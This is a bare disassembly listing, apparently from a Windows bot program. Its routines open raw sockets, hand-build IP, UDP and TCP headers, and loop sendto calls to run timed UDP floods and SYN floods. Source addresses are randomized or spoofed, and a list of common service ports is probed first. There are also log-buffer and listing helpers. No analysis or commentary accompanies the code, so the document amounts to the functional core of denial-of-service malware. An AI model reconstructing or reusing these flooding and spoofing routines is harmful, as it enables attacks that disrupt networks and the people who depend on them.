sub_41525A proc near ; DATA XREF: sub_401ACD+4B97o
Dest = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_4152D1
add esp, 214h
push eax
lea eax, [ebp+Dest]
push offset asc_437C8C ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
add esp, 14h
push 0
call ds:dword_4270D4 ; ExitThread
sub_41525A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4152D1(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_4152D1 proc near ; CODE XREF: sub_41525A+3Bp
Dest = byte ptr -254h
var_54 = byte ptr -54h
Dst = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
Str = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_41530F
lea eax, [ebp+Dest]
push offset asc_437E7C ; "-"
push eax ; Dest
call _sprintf
pop ecx
xor edi, edi
pop ecx
jmp loc_4155D8
; ---------------------------------------------------------------------------
loc_41530F: ; CODE XREF: sub_4152D1+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_41533B
call dword_4CB968 ; WSAGetLastError
push eax
push offset unk_437E2C
jmp short loc_415356
; ---------------------------------------------------------------------------
loc_41533B: ; CODE XREF: sub_4152D1+5Aj
lea eax, [ebp+arg_4]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_41536A
call dword_4CB968 ; WSAGetLastError
push eax
push offset asc_437DE8 ; "-"
loc_415356: ; CODE XREF: sub_4152D1+68j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4155D8
; ---------------------------------------------------------------------------
loc_41536A: ; CODE XREF: sub_4152D1+77j
push edi
mov [ebp+var_24], 2
call dword_4CB9D4 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_4271F0 ; inet_addr
mov esi, ds:dword_4270B0
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+Dest]
push offset asc_437DBC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_4153D3
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_208] ; int
push eax ; int
lea eax, [ebp+arg_184]
push eax ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_4153D3: ; CODE XREF: sub_4152D1+E0j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+Str]
push eax ; Str
call _atoi
cmp esi, eax
pop ecx
ja loc_41558E
mov esi, 41Ch
jmp short loc_415407
; ---------------------------------------------------------------------------
loc_415402: ; CODE XREF: sub_4152D1+2B7j
mov ebx, 0FFh
loc_415407: ; CODE XREF: sub_4152D1+12Fj
cmp dword_4CF180, edi
jnz short loc_415461
push 10h
pop eax
mov [ebp+var_10], eax
push eax ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4CB978 ; getsockname
push ebx
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax ; Dest
call _sprintf
add esp, 18h
jmp short loc_415471
; ---------------------------------------------------------------------------
loc_415461: ; CODE XREF: sub_4152D1+13Cj
lea eax, [ebp+var_54]
push offset byte_4CEB60 ; Source
push eax ; Dest
call _strcpy
pop ecx
pop ecx
loc_415471: ; CODE XREF: sub_4152D1+18Ej
push esi
mov byte_4CED60, 45h
call dword_4CB9D4 ; htons
mov word_4CED62, ax
lea eax, [ebp+var_54]
push eax
mov word_4CED64, 1
mov word_4CED66, di
mov byte_4CED68, 80h
mov byte_4CED69, 11h
mov word_4CED6A, di
call dword_4CBA14 ; inet_addr
mov dword_4CED6C, eax
mov eax, [ebp+var_20]
mov dword_4CED70, eax
lea eax, [ebp+arg_84]
push eax ; Str
mov word_4CED7A, di
call _atoi
test eax, eax
pop ecx
jnz short loc_4154E9
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_4154F7
; ---------------------------------------------------------------------------
loc_4154E9: ; CODE XREF: sub_4152D1+206j
lea eax, [ebp+arg_84]
push eax ; Str
call _atoi
pop ecx
push eax
loc_4154F7: ; CODE XREF: sub_4152D1+216j
call dword_4CB9D4 ; htons
mov word_4CED76, ax
call _rand
cdq
mov ecx, 401h
push 408h
idiv ecx
mov word_4CED74, dx
call dword_4CB9D4 ; htons
push 400h ; Size
mov word_4CED78, ax
call _rand
cdq
idiv ebx
push edx ; Val
push offset dword_4CED7C ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4CED60
push [ebp+var_C]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_415607
inc [ebp+var_4]
call ds:dword_4270B0 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+Str]
push eax ; Str
call _atoi
cmp ebx, eax
pop ecx
jbe loc_415402
loc_41558E: ; CODE XREF: sub_4152D1+124j
push [ebp+var_C]
call dword_4CBA6C ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+Str]
push eax ; Str
imul esi, 41Ch
call _atoi
pop ecx
xor edx, edx
mov ecx, eax
mov eax, esi
shr eax, 0Ah
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
push offset asc_437D58 ; "-"
loc_4155C9: ; CODE XREF: sub_4152D1+34Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 18h
loc_4155D8: ; CODE XREF: sub_4152D1+39j
; sub_4152D1+94j
cmp [ebp+arg_20C], edi
jnz short loc_415600
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_208] ; int
push eax ; int
lea eax, [ebp+arg_184]
push eax ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_415600: ; CODE XREF: sub_4152D1+30Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415607: ; CODE XREF: sub_4152D1+28Bj
push [ebp+var_4]
push esi
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
push offset unk_437CCC
jmp short loc_4155C9
sub_4152D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41561D proc near ; DATA XREF: sub_401ACD+6283o
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+Str]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_190]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call dword_4CBA14 ; inet_addr
push eax
call sub_4157BA
add esp, 0Ch
push eax
lea eax, [ebp+Dest]
push offset asc_437EA8 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4156B2
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_214] ; int
call sub_409869
add esp, 14h
loc_4156B2: ; CODE XREF: sub_41561D+73j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_41561D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156D1 proc near ; CODE XREF: sub_4157BA+194p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_4156FA
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4271F8 ; connect
jmp loc_4157B6
; ---------------------------------------------------------------------------
loc_4156FA: ; CODE XREF: sub_4156D1+13j
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
push 8004667Eh
push esi
mov [ebp+var_8], edi
call ds:dword_4271E0 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB97C ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_4CB9BC ; select
test eax, eax
jnz short loc_41575E
or eax, 0FFFFFFFFh
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_41575E: ; CODE XREF: sub_4156D1+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_415769
loc_415765: ; CODE XREF: sub_4156D1+B8j
; sub_4156D1+DCj
mov eax, edi
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_415769: ; CODE XREF: sub_4156D1+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jnz short loc_41578B
lea eax, [ebp+var_210]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jz short loc_415765
loc_41578B: ; CODE XREF: sub_4156D1+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call ds:dword_4271C8 ; getsockopt
cmp eax, edi
jz short loc_415765
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_4157B6: ; CODE XREF: sub_4156D1+24j
; sub_4156D1+8Bj ...
pop edi
pop esi
leave
retn
sub_4156D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157BA proc near ; CODE XREF: sub_41561D+51p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
push 1
pop eax
xor ebx, ebx
push eax
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+var_14], eax
call ds:dword_4271C4 ; WSASocketA
lea ecx, [ebp+var_14]
push 4
push ecx
push 2
push ebx
push eax
mov dword_4CF1F0, eax
call dword_4CB9B4 ; setsockopt
mov esi, ds:dword_4270B0
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_100]
pop ecx
mov [ebp+var_10C], ebx
mov [ebp+var_7C], ecx
mov [ebp+var_108], ebx
mov [ebp+var_104], ebx
mov [ebp+var_8C], 401h
mov [ebp+var_88], 15h
mov [ebp+var_84], 16h
mov [ebp+var_80], 17h
mov [ebp+var_78], 35h
mov [ebp+var_74], 50h
mov [ebp+var_70], 51h
mov [ebp+var_6C], 58h
mov [ebp+var_68], 6Eh
mov [ebp+var_64], 71h
mov [ebp+var_60], 77h
mov [ebp+var_5C], 87h
mov [ebp+var_58], 89h
mov [ebp+var_54], 8Bh
mov [ebp+var_50], 8Fh
mov [ebp+var_4C], 1BBh
mov [ebp+var_48], 1BDh
mov [ebp+var_44], 400h
mov [ebp+var_40], 599h
mov [ebp+var_3C], 5DCh
mov [ebp+var_38], 6B8h
mov [ebp+var_34], 0CEAh
mov [ebp+var_30], 0D3Dh
mov [ebp+var_2C], 1388h
mov [ebp+var_28], 1A0Bh
mov [ebp+var_24], 1F40h
mov [ebp+var_20], 1F90h
rep stosd
mov [ebp+var_10], ebx
mov [ebp+var_1C], 3
mov [ebp+var_18], 0BB8h
mov [ebp+var_4], ebx
loc_415900: ; CODE XREF: sub_4157BA+1C1j
mov eax, [ebp+arg_0]
mov [ebp+var_9C], 2
mov [ebp+var_98], eax
mov eax, [ebp+var_4]
lea edi, [ebp+eax+var_8C]
mov ax, word ptr [ebp+eax+var_8C]
push eax
call dword_4CB9D4 ; htons
push ebx
push 1
push 2
mov [ebp+var_9A], ax
call dword_4CBA54 ; socket
lea ecx, [ebp+var_1C]
mov [ebp+var_C], eax
push ecx
lea ecx, [ebp+var_9C]
push 10h
push ecx
push eax
call sub_4156D1
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_C]
call dword_4CBA6C ; closesocket
cmp [ebp+var_8], ebx
jnz short loc_415973
mov ecx, [ebp+var_4]
mov eax, [edi]
mov [ebp+ecx+var_10C], eax
loc_415973: ; CODE XREF: sub_4157BA+1ABj
add [ebp+var_4], 4
cmp [ebp+var_4], 70h
jl short loc_415900
mov edi, offset byte_4CF1F4
push offset asc_42CDC0 ; " "
push edi ; Dest
call _sprintf
pop ecx
pop ecx
call esi ; GetTickCount
mov [ebp+var_C], eax
lea eax, [ebp+var_10C]
mov [ebp+var_4], ebx
mov [ebp+var_8], eax
loc_4159A0: ; CODE XREF: sub_4157BA+23Cj
call esi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_4159F8
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, ebx
jz short loc_4159D1
push eax
push edi
push offset aSD ; "%s%d "
push edi ; Dest
mov [ebp+var_10], eax
call _sprintf
add esp, 10h
jmp short loc_4159EB
; ---------------------------------------------------------------------------
loc_4159D1: ; CODE XREF: sub_4157BA+200j
push 0FFFFh
push ebx
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9D4 ; htons
movzx eax, ax
mov [ebp+var_10], eax
loc_4159EB: ; CODE XREF: sub_4157BA+215j
inc [ebp+var_4]
add [ebp+var_8], 4
cmp [ebp+var_4], 1Ch
jl short loc_4159A0
loc_4159F8: ; CODE XREF: sub_4157BA+1F7j
; sub_4157BA+477j
push 28h ; Size
push ebx ; Val
push offset byte_4CF190 ; Dst
call _memset
mov esi, 0FFFFh
mov byte_4CF190, 45h
push esi
push 400h
mov byte_4CF199, 6
mov byte_4CF191, 8
call sub_418BD1
add esp, 14h
push eax
call dword_4CB9D4 ; htons
push 28h
mov word_4CF194, ax
call dword_4CB9D4 ; htons
or byte_4CF198, 0FFh
cmp dword_4CF180, ebx
mov word_4CF192, ax
mov word_4CF196, bx
jnz short loc_415A78
push 0FFFEh
push 1
call sub_418BD1
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
shl eax, 10h
and ecx, esi
or eax, ecx
jmp short loc_415A83
; ---------------------------------------------------------------------------
loc_415A78: ; CODE XREF: sub_4157BA+2A2j
push offset byte_4CEB60
call dword_4CBA14 ; inet_addr
loc_415A83: ; CODE XREF: sub_4157BA+2BCj
mov dword_4CF19C, eax
mov eax, [ebp+arg_0]
push 4000h
mov dword_4CF1A0, eax
mov byte_4CF1B1, bl
call dword_4CB9D4 ; htons
push esi
push ebx
mov word_4CF1B2, ax
call sub_418BD1
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_418BD1
add esp, 10h
add edi, eax
push edi
call dword_4CB9D0 ; htonl
mov dword_4CF1A8, eax
mov al, byte_4CF1B0
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov byte_4CF1B0, al
mov ax, word ptr [ebp+var_10]
mov dword_4CF1AC, ebx
mov word_4CF1B6, bx
mov word_4CF1A6, ax
mov dword_4CF1CC, edi
mov byte_4CF1D0, bl
mov byte_4CF1D1, 6
call dword_4CB9D4 ; htons
mov word_4CF1D2, ax
mov ax, word_4CF1A6
mov word_4CF1B8, 2
mov dword_4CF1BC, edi
mov word_4CF1BA, ax
mov [ebp+var_4], ebx
jmp short loc_415B39
; ---------------------------------------------------------------------------
loc_415B34: ; CODE XREF: sub_4157BA+451j
mov esi, 0FFFFh
loc_415B39: ; CODE XREF: sub_4157BA+378j
cmp [ebp+var_4], ebx
jnz short loc_415B6D
push esi
push ebx
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9D4 ; htons
mov word_4CF1A4, ax
mov eax, dword_4CF19C
mov dword_4CF1C8, eax
mov byte_4CF1B1, 2
mov dword_4CF1AC, ebx
jmp short loc_415B8C
; ---------------------------------------------------------------------------
loc_415B6D: ; CODE XREF: sub_4157BA+382j
push esi
push ebx
mov byte_4CF1B1, 10h
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9D4 ; htons
movzx eax, ax
mov dword_4CF1AC, eax
loc_415B8C: ; CODE XREF: sub_4157BA+3B1j
inc word_4CF194
inc dword_4CF1A8
mov ax, word_4CF1A6
push 5
pop ecx
mov esi, offset word_4CF1A4
mov edi, offset dword_4CF1D4
mov word_4CF19A, bx
mov word_4CF1B4, bx
push 14h
rep movsd
mov esi, offset byte_4CF190
mov word_4CF1BA, ax
push esi
call sub_40AA5F
push 20h
push offset dword_4CF1C8
mov word_4CF19A, ax
call sub_40AA5F
add esp, 10h
mov word_4CF1B4, ax
push 10h
push offset word_4CF1B8
push ebx
push 28h
push esi
push dword_4CF1F0
call dword_4CBA38 ; sendto
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_415B34
call ds:dword_4270B0 ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_415C36
push [ebp+arg_8]
call ds:dword_427080 ; Sleep
jmp loc_4159F8
; ---------------------------------------------------------------------------
loc_415C36: ; CODE XREF: sub_4157BA+46Cj
pop edi
pop esi
mov eax, offset byte_4CF1F4
pop ebx
leave
retn
sub_4157BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415C40(char *Str2,int)
sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p
var_4 = dword ptr -4
Str2 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43DB90
mov edi, 0B8h
loc_415C54: ; CODE XREF: sub_415C40+33j
cmp byte ptr [esi], 0
jz short loc_415C77
push [ebp+Str2] ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_415C77
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E710
jl short loc_415C54
jmp short loc_415CB9
; ---------------------------------------------------------------------------
loc_415C77: ; CODE XREF: sub_415C40+17j
; sub_415C40+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi ; Size
push 0 ; Val
lea ebx, dword_43DB90[esi]
push ebx ; Dst
call _memset
push 17h ; Count
push [ebp+Str2] ; Source
push ebx ; Dest
call _strncpy
push 9Fh ; Count
lea eax, dword_43DBA8[esi]
push [ebp+arg_4] ; Source
push eax ; Dest
call _strncpy
add esp, 24h
inc dword_4294CC
pop ebx
loc_415CB9: ; CODE XREF: sub_415C40+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415C40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415CC0(int,char *Str,int)
sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset dword_437EF0 ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43DB90
loc_415CEA: ; CODE XREF: sub_415CC0+72j
cmp byte ptr [esi], 0
jz short loc_415D25
lea eax, [esi+18h]
push eax
push esi
push edi
push offset aD_ ; "%d. "
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 2Ch
loc_415D25: ; CODE XREF: sub_415CC0+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E710
jl short loc_415CEA
pop edi
pop esi
leave
retn
sub_415CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D38 proc near ; CODE XREF: WinMain(x,x,x,x)+384p
; WinMain(x,x,x,x)+408p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_427140 ; GetLocalTime
mov ebx, offset byte_4D35F4
mov edi, 80h
mov esi, offset byte_4CF5F4
loc_415D5A: ; CODE XREF: sub_415D38+3Dj
cmp byte ptr [ebx], 0
jz short loc_415D71
push 7Fh ; Count
lea eax, [ebx+80h]
push ebx ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_415D71: ; CODE XREF: sub_415D38+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415D5A
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415D38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415DAC(char *Format,char Args)
sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_408967p ...
Dest = byte ptr -80h
Format = dword ptr 8
Args = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+Args]
push eax ; Args
lea eax, [ebp+Dest]
push [ebp+Format] ; Format
push 80h ; Count
push eax ; Dest
call __vsnprintf
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 14h
leave
retn
sub_415DAC endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_415DD8(int,char *Str,int,int)
sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset byte_4CF5F4
xor ecx, ecx
loc_415DDF: ; CODE XREF: sub_415DD8+13j
mov [eax], cl
add eax, 80h
cmp eax, offset byte_4D35F4
jl short loc_415DDF
cmp [esp+arg_C], ecx
jnz short loc_415E0D
push ecx ; int
push [esp+4+arg_8] ; int
push offset dword_437F3C ; int
push [esp+0Ch+Str] ; Str
push [esp+10h+arg_0] ; int
call sub_409869
add esp, 14h
loc_415E0D: ; CODE XREF: sub_415DD8+19j
push offset dword_437F28
call sub_415D38
pop ecx
retn
sub_415DD8 endp
; =============== S U B R O U T I N E =======================================
sub_415E19 proc near ; CODE XREF: .text:0040E1FFp
arg_0 = dword ptr 4
push esi
mov esi, offset byte_4CF5F4
loc_415E1F: ; CODE XREF: sub_415E19+27j
cmp byte ptr [esi], 0
jz short loc_415E34
push [esp+4+arg_0] ; int
push esi ; Str
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jnz short loc_415E46
loc_415E34: ; CODE XREF: sub_415E19+9j
add esi, 80h
cmp esi, offset byte_4D35F4
jl short loc_415E1F
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_415E46: ; CODE XREF: sub_415E19+19j
push 1
pop eax
pop esi
retn
sub_415E19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E4B proc near ; DATA XREF: sub_401ACD+2844o
Dest = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_415E9E
push edx ; int
lea eax, [ebp+var_118]
push [ebp+var_14] ; int
push offset dword_437F6C ; int
push eax ; Str
push [ebp+var_11C] ; int
call sub_409869
add esp, 14h
loc_415E9E: ; CODE XREF: sub_415E4B+33j
cmp [ebp+Str], 0
jz short loc_415EBE
lea eax, [ebp+Str]
push eax ; Str
call _atoi
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_415EBE
mov [ebp+var_8], eax
loc_415EBE: ; CODE XREF: sub_415E4B+5Aj
; sub_415E4B+6Ej
and [ebp+arg_0], 0
mov esi, offset byte_4CF5F4
loc_415EC7: ; CODE XREF: sub_415E4B+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_415F21
cmp byte ptr [esi], 0
jz short loc_415F10
cmp [ebp+Str], 0
jz short loc_415EF6
cmp [ebp+var_4], 0
jnz short loc_415EF6
lea eax, [ebp+Str]
push eax ; int
push esi ; Str
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jz short loc_415F10
loc_415EF6: ; CODE XREF: sub_415E4B+90j
; sub_415E4B+96j
push edi ; int
lea eax, [ebp+var_118]
push [ebp+var_14] ; int
push esi ; int
push eax ; Str
push [ebp+var_11C] ; int
call sub_409869
add esp, 14h
loc_415F10: ; CODE XREF: sub_415E4B+87j
; sub_415E4B+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset byte_4D35F4
jl short loc_415EC7
loc_415F21: ; CODE XREF: sub_415E4B+82j
lea eax, [ebp+Dest]
